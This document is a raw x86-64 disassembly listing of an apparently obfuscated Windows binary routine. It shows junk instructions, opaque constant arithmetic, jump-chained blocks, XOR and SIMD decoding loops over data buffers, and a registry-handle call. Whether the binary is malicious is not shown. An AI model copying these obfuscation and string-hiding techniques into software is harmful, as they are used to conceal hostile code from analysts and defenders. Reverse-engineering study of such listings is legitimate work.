mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dc19
jmp 0x14007dba7
mov eax, 0x7534a970
sub eax, 0x712dbde1
xor eax, 0x38763ca
jmp 0x14007d286
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
jmp 0x14007d4bd
mov qword [rsp + 0x40], r8
xchg r8, r14
mov qword [rsp + 0x48], 0x3954afeb
sub qword [rsp + 0x48], 0x1769f3ae
jmp 0x14007d8cb
pshufd xmm3, xmm3, 0
mov dword [rsp - 0x1c], 0x55e61a3c
paddd xmm3, xmm5
jmp 0x14007c860
mov rsi, rsi
xchg rsp, rbp
movups xmmword [rbp + 0x60], xmm1
xchg rsp, rbp
jmp 0x14007d0a7
movdqa xmm0, xmm1
mov r15, r15
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x14007d176
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x38], 0x1e6c5000
jmp 0x14007d3d6
xchg r14, r13
mov qword [rbp - 0x40], 0xd5802dc
add qword [rbp - 0x40], 0x51ffcaa5
xor qword [rbp - 0x40], 0x8d038c0
jmp 0x14007d6a2
pxor xmm2, xmm0
mov dword [rsp - 0x38], 0x69105d7d
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
jmp 0x14007d748
movd xmm0, dword [rcx]
mov dword [rsp - 0x28], 0x351dab6e
pxor xmm2, xmm0
movd dword [rcx], xmm2
nop
jmp 0x14007c808
pxor xmm3, xmm0
mov dword [rsp - 0x30], edi
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
mov r8, r8
pshufd xmm2, xmm2, 0
jmp 0x14007cd5f
sub al, 0xeb
add al, 0x1d
xor byte [r9], al
jmp 0x14007ce5b
movsd xmm1, qword [str._vTGi]
xchg r14, rbp
movsd qword [r14 - 0x80], xmm1
xchg r14, rbp
movzx eax, byte [0x140115558]
mov byte [rbp - 0x78], al
jmp 0x14007c7f8
xchg rdx, rdx
add al, 0x42
sub al, 0x10
xor byte [r9], al
inc r8d
xchg r13, r13
jmp 0x14007d8eb
xor rcx, rsp
mov dword [rsp - 0x28], edi
call fcn.1400e2980
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
jmp 0x14007c9cc
xchg rbx, rax
nop
movabs rcx, 0xffffffff4c8908b1
xor rcx, 0x2714a690
jmp 0x14007caaa
add edx, eax
mov r14, r14
movzx eax, dx
imul ecx, eax, 0x31
jmp 0x14007da08
xor qword [rsp + 0x48], 0x9df8301
xor qword [rsp + 0x48], 0x98a595e
sub qword [rsp + 0x48], 0xef705dd
jmp 0x14007cdd7
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x14007cfa6
xchg rdi, r8
jmp 0x14007d14a
lea rcx, [rcx + 8]
mov r13, r13
cmp r8d, 0x38
jl 0x14007d53f
cmp r8d, 0x3d
jmp 0x14007cbd0
xchg r9, r9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
jmp 0x14007dc2a
xchg rsi, rsi
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x24], ebx
jmp 0x14007cccb
movsxd rax, ecx
lea r8, [rsp + 0x50]
mov rdi, rdi
jmp 0x14007d5d6
jb 0x14007d025
nop
add rdx, 0x6dc07812
sub rdx, 0x6dc077eb
mov rcx, qword [rcx - 8]
mov r13, r13
jmp 0x14007d3eb
xor eax, 0xca220d4
add eax, 0x34436c46
xor eax, 0x36900a00
imul ecx
mov dword [rsp - 0x38], edi
jmp 0x14007ceae
movdqa xmm1, xmm3
mov dword [rsp - 0x2c], esi
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x14007c967
mov dword [rsp - 0x34], edi
je 0x14007dabd
movups xmm0, xmmword [0x140115560]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140115570]
mov dword [rsp - 0x18], 0x190c24e2
jmp 0x14007cd25
sub esi, 0x83b3206
sub esi, 0x396d3c1d
xor esi, 0x294ba870
lea r15d, [rsi + 0x1b]
jmp 0x14007d575
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x10], 0x7002cb3f
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14007db1e
movzx eax, r8w
mov dword [rsp - 0x24], 0x2e15531f
sub ax, cx
sub ax, 0x6ff4
add ax, 0x7026
xor word [r9], ax
jmp 0x14007cc03
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
mov dword [rsp - 0x20], 0x6ea8ae95
paddw xmm3, xmm2
jmp 0x14007da58
mov dword [rsp - 0x18], ebp
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
jmp 0x14007d870
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
xchg rbx, rbx
movq qword [rcx + 8], xmm3
add r8d, 8
jmp 0x14007ca2e
mov qword [rax + 0x18], 0x3ad4ba1b
xor qword [rax + 0x18], 0x530a186c
add qword [rax + 0x18], 0x1246b064
xor qword [rax + 0x18], 0x79a5db2c
jmp 0x14007d314
neg ax
add ax, 0xffce
neg ax
xor word [r8], ax
mov r12, r12
jmp 0x14007c901
mov edx, r10d
lea rcx, [rsp + 0x50]
call fcn.1400a6e50
xchg r13, r13
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14007d407
xchg rsp, rsp
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14007d91b
mov rcx, qword [rsp + 0x30]
xchg rbx, rax
mov rbx, rcx
xchg rbx, rax
cmp rdx, 0x1000
xchg r11, r11
jmp 0x14007d954
paddd xmm0, xmm1
mov dword [rsp - 0x30], 0x2f6782a5
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x14007d509
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x14007d35e
cmp rdx, 0x10
mov dword [rsp - 0x30], 0x68e3a66a
jb 0x14007d02a
inc rdx
jmp 0x14007db03
mov rdx, rbx
lea rcx, [rsp + 0x30]
mov dword [rsp - 0x24], ebx
call fcn.1400763c0
jmp 0x14007d623
movaps xmm6, xmmword [rbp - 0x10]
xchg r11, rbp
xchg r12, r11
jmp 0x14007cc40
mov r15, qword [rsp - 8]
nop
mov r14, qword [rsp]
add rsp, 8
nop
jmp 0x14007c9ea
mov rbp, rbp
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
mov dword [rsp - 0x2c], 0x585d1e3b
nop
jmp 0x14007dc00
movdqa xmm9, xmmword [0x1401123a0]
lea rdx, [rsp + 0x50]
mov dword [rsp - 0x20], 0x222b36ab
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
jmp 0x14007d26c
paddw xmm3, xmm2
movq xmm0, qword [rdx]
mov rdi, rdi
jmp 0x14007d7c3
add rax, 0xffffffffff833b4e
sub rax, 0xffffffffff833b56
cmp rax, 0x1f
mov r11, r11
ja 0x14007dca0
call fcn.1400e2868
mov rcx, qword [rbp + 0x100]
jmp 0x14007d885
pmuldq xmm1, xmm4
xchg rbx, rbx
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
mov rsi, rsi
jmp 0x14007d5c0
movd xmm8, r15d
xchg r11, r11
movdqa xmm0, xmmword [0x1401123d0]
xchg rsp, rdi
movdqa xmmword [rdi + 0x30], xmm0
xchg rsp, rdi
lea rcx, [rsp + 0x54]
jmp 0x14007d533
movups xmm0, xmmword [0x140115540]
mov dword [rsp - 0x1c], esp
xchg r13, rsp
movups xmmword [r13 + 0x70], xmm0
xchg r13, rsp
jmp 0x14007d84d
xchg rcx, rcx
cmp ebx, 2
jl 0x14007cbd9
movdqa xmm5, xmmword [0x140112370]
jmp 0x14007ccef
call fcn.1400e951c
int3
call fcn.1400e951c
int3
call fcn.140039860
nop
jmp 0x14007dcc0
int3
mov dword [rsp - 0x18], ebx
call fcn.1400e951c
nop
call fcn.1400e951c
jmp 0x14007dcd4
mov dword [rsp - 0xc], 0x6427a07e
int3
call fcn.1400e951c
nop
call fcn.1400e951c
mov dword [rsp - 0x38], 0x47e916b2
jmp 0x14007dcbf